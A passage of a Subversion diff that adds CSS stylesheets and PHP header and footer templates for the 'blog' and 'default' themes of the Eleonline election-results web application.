+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
Index: /trunk/elezioni/trunk/client/temi/blog/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/blog/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/blog/index.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+# blog
+include_once("modules/Elezioni/funzioni.php");
+include_once("temi/inc/button.php");
+########## no blocco x grafici e risultati
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+
+####################################
+function testata(){
+####################################
+
+global $file,$blocco;
+
+// logo
+echo '
+<div id="header">
+	<div id="search">&nbsp;';
+		language();
+		flash();
+		noblocco();
+	echo '</div>
+<h1><a href="#">Eleonline</a> / <a href="http://www.eleonline.it/"><b>Elezioni on line</b></a></h1>
+
+</div>
+';
+// menu
+
+		if ($file=="index") menu();
+echo "<table cellpadding=\"0\" cellspacing=\"0\"><tr>";
+
+	 
+          	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\"><div class=\"sidebar\">";
+		echo "<div class=\"blocco\"><br />";
+    		block("dx");
+		echo "<div class=\"fondo\"><br/></div></div>";
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+		
+}
+
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\"><div class=\"sidebar\">";
+		echo "<div class=\"blocco\"><br />";
+    		block("sx");
+		echo "<div class=\"fondo\"><br></div></div></div>";
+	}
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/temi/blog/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/blog/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/blog/style.css	(revision 44)
@@ -0,0 +1,807 @@
+/* ########### slashblog ###################*/
+
+/*
+Liberamente tratto da
+http://www.freecsstemplates.org
+Released for free under a Creative Commons Attribution 2.5 License
+*/
+
+body {
+	margin: 20px 0 0 0;
+	padding: 0;
+	background: #FFFFFF url(images/img01.gif) repeat-x;
+	font-family: Arial, Helvetica, sans-serif;
+	font-size: 13px;
+	color: #203C36;
+}
+
+
+a {
+	color: #7AB9AB;
+}
+
+a:hover {
+	text-decoration: none;
+}
+
+
+
+/* Header */
+
+#header {
+	width: 980px;
+	height: 80px;
+	margin: 0 auto;
+	background: url(images/img02.jpg);
+}
+
+#header h1 {
+	margin: 0;
+	padding: 15px 0 0 20px;
+	letter-spacing: normal;
+	font-size: 1em;
+	color: #FFFFFF;
+}
+
+#header h1 a {
+	text-decoration: none;
+	color: #FFFFFF;
+}
+
+#header h1 a:hover {
+	text-decoration: underline;
+}
+
+#header b {
+	display: block;
+	letter-spacing: -2px;
+	font-size: 2.4em;
+}
+
+/* Search */
+
+#search {
+	float: right;
+	width: 180px;
+	padding-top: 30px;
+}
+
+#searchfield {
+	width: 150px;
+}
+
+#searchsubmit {
+	display: none;
+}
+
+/* Page */
+
+#page {
+	width: 980px;
+	margin: 0 auto;
+	padding: 60px 0px;
+	background: url(images/img03.jpg) no-repeat;
+}
+
+/* Content */
+
+#content {
+	float: left;
+	width: 770px;
+}
+
+/* Footer */
+
+#footer {
+	clear: both;
+	padding: 40px 0;
+	background: #696B60 url(images/img07.gif) repeat-x;
+}
+
+#footer p {
+	margin: 0;
+	text-align: center;
+	color: #999999;
+}
+
+#footer a {
+	color: #999999;
+}
+
+
+
+
+div#container{
+    
+    width: 798;
+    margin: 0px auto;   /*centra */
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 5px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color:#ffffff;
+	background: url(images/img04.jpg) repeat;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	
+	
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+
+
+
+
+.sitebar {
+	background-image: url(images/site-background.gif);
+	font-size: 12px;
+	border: none;
+	color: #330000;
+}
+.footbar {
+	background-image: url(images/footer.jpg);
+	font-size: 10px;
+	color: #330000;
+	padding-right: 10px;
+	padding-bottom: 2px;
+	padding-left: 8px;
+	padding-top: 2px;
+	height: 24px;
+}
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+.moduloform {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 12px;
+	text-align: left;
+}
+.modulo-extranet {
+	text-decoration: none;
+	border: 1px dotted #000033;
+	width: 100px;
+	background-color: #FFFFFF;
+	color: #CCCCCC;
+}
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+.modulosmall {
+	font-size: 9px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border: 0px;
+	width: 100%;
+	margin: 0px;
+	padding: 2px;
+}
+.modulo-table {
+	font-size: 10px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border-top: 1px dotted #000033;
+	border-bottom: 1px dotted #000033;
+	width: 100%;
+}
+.modulo-titolo {
+	font-size: 12px;
+	font-weight: bold;
+	color: #336633;
+	text-decoration: none;
+	border-top: 1px dotted #000033;
+	margin-top: 10px;
+	margin-bottom: 0px;
+	margin-right: 0px;
+	margin-left: 0px;
+	padding: 0px;
+	background-color: #EFEFEF;
+	text-align: left;
+	width: 100%;
+}
+.table-main {
+	
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	
+	text-align:center;
+	width: 980px;
+}
+
+.table-blocco {
+border: 1px solid #DEDEDC;
+font-size: 10px;
+background-position: center top;
+padding: 0px;
+color: #666666;
+}
+
+					
+
+
+.table-central {
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-right-style: dotted;
+	border-left-style: dotted;
+	border-top-color: #CC3300;
+	border-right-color: #CC3300;
+	border-bottom-color: #CC3300;
+	border-left-color: #CC3300;
+	border-top-style: none;
+	border-bottom-style: none;
+	height: 100%;
+	width: 100%;
+	margin: 0px;
+	padding: 8px;
+}
+.table-info {
+	font-size: 10px;
+	padding-right: 4px;
+	padding-bottom: 2px;
+	padding-left: 2px;
+	padding-top: 4px;
+	margin: 2px 2px 4px;
+}
+.table-main-secondary {
+	background-position: center top;
+	border-top: none;
+	border-left: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-right: none;
+}
+.table-docs {
+	font-size: 9px;
+	padding: 1px;
+	color: #000000;
+	/* margin: 4px 4px 40px;*/
+	border-bottom: thin dotted #666666;
+	text-align:center;
+}
+.message {
+	font-size: 12px;
+	color: #EE3366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 5px;
+	margin: 10px auto;
+	text-align: left;
+	border: 1px dotted #FF6666;
+	padding: 2px;
+	width: 450px;
+	background-color: #FFFFEF;
+}
+.td-main {
+	
+	border-top: none;
+	border-right: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-left: 1px dotted #DEDEDC;
+}
+
+
+
+
+.tavola {
+	background-image: url(images/back.gif);
+	font-size: 12px;
+	border: none;
+	color: #330000;
+}
+
+/* tabelle specifiche */
+	
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+		
+.table-80 {
+	margin: 0px auto;
+	font-size: 12px;
+	border: none;
+	color: #330000;
+	width: 80%;
+}		
+.table-762 {
+	text-align: center;
+	margin: 0px auto;
+	font-size: 12px;
+	border: none;
+	color: #330000;
+	width: 762px;
+        margin-top: 0px;
+	
+	padding: 0px;
+}		
+.td-image {
+	text-align: center;	
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}
+
+.td-2 {
+	
+	margin: 0px 0 0 0px;
+		
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+	text-align: center; 
+}			
+.td-5 {
+	background: url(images/img04.jpg) repeat;
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+	text-align: center; 
+}	
+
+
+
+.td-5 a{
+color :#376424
+}
+
+.td-30 {
+	
+	
+	width: 30%;	
+	text-align: left; 
+	
+	
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+
+
+/* blocco
+########################################################################################
+]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
+########################################################################################*/
+
+.sidebar {
+	
+	/*float: right;*/
+	width: 190px;
+        background: url(images/img04.jpg) repeat-y;
+	
+}
+
+.blocco {
+
+background: url(images/img05.jpg) no-repeat;
+ 
+
+}
+
+
+.fondo {
+	padding: 20px 20px 60px 20px;
+	background: url(images/img06.jpg) no-repeat left bottom;
+}
+
+.white {
+	width: 190px;
+	background: url(images/bianco.gif) repeat-x;
+}
+.sidebar h5 {
+	font-size: 16px;
+	font-weight: bold;
+	color:#ffffff;
+	
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	
+	
+	text-align: center;
+}
+
+.sidebar h6 {
+
+	margin: 0;
+	padding: 20px 20px 0 20px;
+	text-transform: uppercase;
+	font-family: "Arial Black", Arial, Helvetica, sans-serif;
+	font-size: .8em;
+	color: #FFFFFF;
+}
+
+.sidebar a {
+	color: #FFFFFF;
+}
+
+
+
+	
+.td-130 {
+	float: right;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+	
+}
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+.td-vuoto {
+	
+	
+	width: 100%;	
+	border: none;
+	text-align: left; 
+	
+}
+.td-vuotoc {
+	
+	
+	width: 100%;	
+	border: none;
+	text-align: center; 
+	
+}
+
+.td-89 {
+	
+	
+	width: 89%;	
+	border: none;
+	text-align: left; 
+	
+}
+.td-640 {
+	float: left;
+	margin: 0px 0 0 10px;
+	width: 610px;	
+	border: none;
+	background-color: #ffffff;
+	padding: 0px;
+	text-align: left; 
+}	
+
+
+div#sx{
+    width: 610px;
+    float: left;
+    text-align: left;   
+    }
+
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+div#divbutton{
+    width: 798px;
+    
+    text-align: right;      
+    }
+
+
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:170px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.normal{
+    margin: 0px 0 0 1px;
+    float: left;
+    text-align: left;   
+    }
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+	text-align: center;
+}		
+
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
+/******************** font e backcolor******************************/
+.blu 	{
+	BACKGROUND: none;
+	font-weight: bold; 
+	COLOR: #003366; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+
+.red 	{
+	BACKGROUND: none; 
+	COLOR: #ff0000; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+.redbig 	{
+	BACKGROUND: none; 
+	COLOR: #ff0000; 
+	FONT-SIZE: 16px; 
+	FONT-FAMILY: Verdana, Helvetica
+}
+
+.bgw	{
+	BACKGROUND: #ffffff; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray 	{
+	background: url(images/img04.jpg) repeat;
+	COLOR: #ffffff; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+}
+
+
+.bggray a{
+color :#376424
+}
+
+.bggray2 	{
+	BACKGROUND: #EFEFEF; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray2 a{
+color :#376424
+}
+
+
+.bggray3 	{
+	BACKGROUND: #EFEFEF; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: left;
+	}
+
+
+.bggray3 a{
+color :#376424
+}
+
+
+
+
+.normale {
+	BACKGROUND: none; 
+	COLOR: #000000; 
+	FONT-SIZE: 12px; 
+	FONT-FAMILY: Verdana, Helvetica;
+	text-align: left;
+}
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+}
+
Index: /trunk/elezioni/trunk/client/temi/default/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/default/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/default/index.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+# tema default
+# for eleonline
+include_once("modules/Elezioni/funzioni.php");
+include_once("temi/inc/button.php");
+
+
+########## no blocco x grafici e risultati
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+
+function testata(){
+global $tema,$file,$sitename,$blocco;
+echo "<div id=\"container\" >";
+ echo '	<a href="http://www.eleonline.it">
+			<img  class="nobordo" src="temi/'.$tema.'/images/logo.gif" alt="$sitename" width="762" height="89" />
+      			</a><br />';
+// bottoni
+language();flash();noblocco();
+
+
+
+
+
+	
+	
+	if ($file=="index") menu();
+
+	echo "<table class=\"table-main\"  cellpadding=\"0\" cellspacing=\"0\"><tr>";
+	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\" class=\"sidebar\">";
+    		block("dx");
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+
+}
+
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\" class=\"sidebar\">";
+    		block("sx");
+		
+	}
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+
+}
+
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/temi/default/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/default/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/default/style.css	(revision 44)
@@ -0,0 +1,682 @@
+a:link {
+	text-decoration: none;
+	color: #660033;
+}
+a:visited {
+	text-decoration: none;
+	color: #660000;
+}
+a:hover {
+	color: #CC2222;
+}
+body , html {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	font-style: normal;
+	font-weight: normal;
+	margin-right: 0;
+	margin-left: 0;
+	margin-top: 0;
+	text-align: center;
+	background-color: #FFFFFF;
+	color: #333333;
+}
+
+div#container{
+    
+    width: 798;
+    margin: 0px auto;   /*centra */
+    
+    }
+
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 5px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #660000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #EFEFEF;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+
+/* usate per blocco */
+
+.sidebar {
+	
+	text-align:left;
+	margin-top:0px;
+	width: 200px;	
+	border: none;
+	padding: 0px;
+	/*background-color:#b0b0b0;*/
+}
+.sidebar a{
+color:#5D81A6;
+}
+.sidebar a:hover{
+text-decoration: underline;
+/*color:#FFFFFF;*/
+}
+.sidebar a:visited{
+color:#5D81A6;
+}
+
+
+
+.footbar {
+	background-image: url(images/footer.jpg);
+	font-size: 10px;
+	color: #330000;
+	padding-right: 10px;
+	padding-bottom: 2px;
+	padding-left: 8px;
+	padding-top: 2px;
+	height: 24px;
+}
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+.moduloform {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 12px;
+	text-align: left;
+}
+.modulo-extranet {
+	text-decoration: none;
+	border: 1px dotted #000033;
+	width: 100px;
+	background-color: #FFFFFF;
+	color: #CCCCCC;
+}
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+.modulosmall {
+	font-size: 9px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border: 0px;
+	width: 100%;
+	margin: 0px;
+	padding: 2px;
+}
+.modulo-table {
+	font-size: 10px;
+	color: #000066;
+	text-decoration: none;
+	background-color: #FFFFFF;
+	border-top: 1px dotted #000033;
+	border-bottom: 1px dotted #000033;
+	width: 100%;
+}
+.modulo-titolo {
+	font-size: 12px;
+	font-weight: bold;
+	color: #336633;
+	text-decoration: none;
+	border-top: 1px dotted #000033;
+	margin-top: 10px;
+	margin-bottom: 0px;
+	margin-right: 0px;
+	margin-left: 0px;
+	padding: 0px;
+	background-color: #EFEFEF;
+	text-align: left;
+	width: 100%;
+}
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 798px;
+}
+
+.table-blocco {
+border: 1px solid #DEDEDC;
+font-size: 10px;
+background-position: center top;
+padding: 0px;
+color: #666666;
+}
+
+					
+
+
+.table-central {
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-right-style: dotted;
+	border-left-style: dotted;
+	border-top-color: #CC3300;
+	border-right-color: #CC3300;
+	border-bottom-color: #CC3300;
+	border-left-color: #CC3300;
+	border-top-style: none;
+	border-bottom-style: none;
+	height: 100%;
+	width: 100%;
+	margin: 0px;
+	padding: 8px;
+}
+.table-info {
+	font-size: 10px;
+	padding-right: 4px;
+	padding-bottom: 2px;
+	padding-left: 2px;
+	padding-top: 4px;
+	margin: 2px 2px 4px;
+}
+.table-main-secondary {
+	background-position: center top;
+	border-top: none;
+	border-left: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-right: none;
+}
+.table-docs {
+	font-size: 9px;
+	padding: 1px;
+	color: #000000;
+	/* margin: 4px 4px 40px;*/
+	border-bottom: thin dotted #666666;
+	text-align:center;
+}
+.omniainternet {
+	font-size: 12px;
+	color: #993366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 5px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #FF6666;
+	padding: 2px;
+	width: auto;
+	background-color: #FFEFEF;
+	font-variant: small-caps;
+}
+.message {
+	font-size: 12px;
+	color: #EE3366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 5px;
+	margin: 10px auto;
+	text-align: left;
+	border: 1px dotted #FF6666;
+	padding: 2px;
+	width: 450px;
+	background-color: #FFFFEF;
+}
+.td-main {
+	
+	border-top: none;
+	border-right: 1px dotted #DEDEDC;
+	border-bottom: none;
+	border-left: 1px dotted #DEDEDC;
+}
+.news {
+	font-size: 10px;
+	border: none;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	color: #330000;
+}
+.headlines {
+	font-size: 10px;
+	color: #333333;
+	text-decoration: none;
+	margin-top: 10px;
+	margin-bottom: 16px;
+	width: 366px;
+	text-align: left;
+	border: 0px dotted #FFFFFF;
+}
+
+
+
+.tavola {
+	background-image: url(images/back.gif);
+	font-size: 12px;
+	border: none;
+	color: #330000;
+}
+
+/* tabelle specifiche */
+	
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+		
+.table-80 {
+	margin: 0px auto;
+	font-size: 12px;
+	border: none;
+	color: #330000;
+	width: 80%;
+}		
+.table-762 {
+	text-align: center;
+	margin: 0px auto;
+	font-size: 12px;
+	border: none;
+	color: #330000;
+	width: 762px;
+        margin-top: 0px;
+	
+	padding: 0px;
+}		
+.td-image {
+	text-align: center;	
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}
+
+.td-2 {
+	
+	margin: 0px 0 0 0px;
+		
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+	text-align: center; 
+}			
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+	text-align: center; 
+}	
+
+.td-30 {
+	
+	
+	width: 30%;	
+	text-align: left; 
+	
+	
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+.td-149 {
+	float: right;
+	margin-top:0px;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+}	
+.td-130 {
+	float: right;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+	
+}
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+.td-vuoto {
+	
+	
+	width: 100%;	
+	border: none;
+	text-align: left; 
+	
+}
+.td-vuotoc {
+	
+	
+	width: 100%;	
+	border: none;
+	text-align: center; 
+	
+}
+
+.td-89 {
+	
+	
+	width: 89%;	
+	border: none;
+	text-align: left; 
+	
+}
+.td-640 {
+	float: left;
+	margin: 0px 0 0 10px;
+	width: 610px;	
+	border: none;
+	background-color: #ffffff;
+	padding: 0px;
+	text-align: left; 
+}	
+
+
+div#sx{
+    width: 610px;
+    float: left;
+    text-align: left;   
+    }
+
+div#dx{
+    width: 200px;
+    float: right;
+    text-align: left;   
+    }
+
+div#divbutton{
+    width: 798px;
+    
+    text-align: right;      
+    }
+
+
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:130px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.normal{
+    margin: 0px 0 0 1px;
+    float: left;
+    text-align: left;   
+    }
+
+.stemmapic {
